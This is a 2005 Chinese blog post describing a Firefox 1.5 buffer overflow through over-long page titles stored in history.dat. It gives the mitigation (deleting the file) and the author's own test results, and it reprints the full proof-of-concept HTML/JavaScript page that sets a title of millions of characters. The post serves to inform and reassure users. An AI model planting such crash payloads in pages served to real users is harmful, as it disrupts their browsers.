« 为什么一定要听移动的? | Main | 贴图不说话-这样赤裸的...... »

firefox 1.5缓冲区溢出bug

作者:virushuo 发表于 2005-12-08 17:12 最后更新于 2005-12-08 18:12
版权声明:按照by-nc-sa的cc协议可转载,拒绝采用“独家” 授权媒介(含网站和平面媒体)转载、引用、链接,除非获得本人许可。转载时请务必以超链接形式标明文章原始出处和作者信息及本声明。


from:http://packetstormsecurity.org/0512-exploits/firefox-1.5-buffer-overflow.txt

为避免这个问题被拿出来危言耸听,我先提前和大家介绍一下。

原因是这样的:

firefox会在history.dat这个文件中保存历史纪录),当碰到一个超长的Title的时候,Firefox同样会把它保存于history.dat中。下次打开Firefox的时候,就会因为缓冲区溢出而崩溃。

解决方法是手工删除掉history.dat文件。

这个问题仅会导致打开浏览器的时候出错,暂时还没有发现其他危害。


ZIPLOCK 用Firefox 1.5和Windows XP SP2下发现的这个bug。
我在Freebsd 6,Firefox 1.5测试,没有崩溃,但是会另firefox变得非常慢,然后停止响应。

个人认为,不算太严重的bug,这个测试脚本把标题搞到了5000*500个字符,这也长的夸张了点。不知道IE碰到这么长的标题会如何?有兴趣不妨测试一下,我这里没有IE,不测了。

Mozilla应该会很快修正这个bug。

测试代码:

<html><head><title>heh</title><script type="text/javascript">
function ex() {
var buffer = "";
for (var i = 0; i < 5000; i++) {
buffer += "A";
}
var buffer2 = buffer;
for (i = 0; i < 500; i++) {
buffer2 += buffer;
}
document.title = buffer2;
}
</script></head><body>ZIPLOCK says <a href="javascript:ex();">CLICK ME
</a></body></html>

blog comments powered by Disqus
CC License. Some rights reserved.
署名·非商业用途·保持一致
本站之所有未作特别说明的内容均使用 创作共用协议.
POWERED_BY_MT_3.2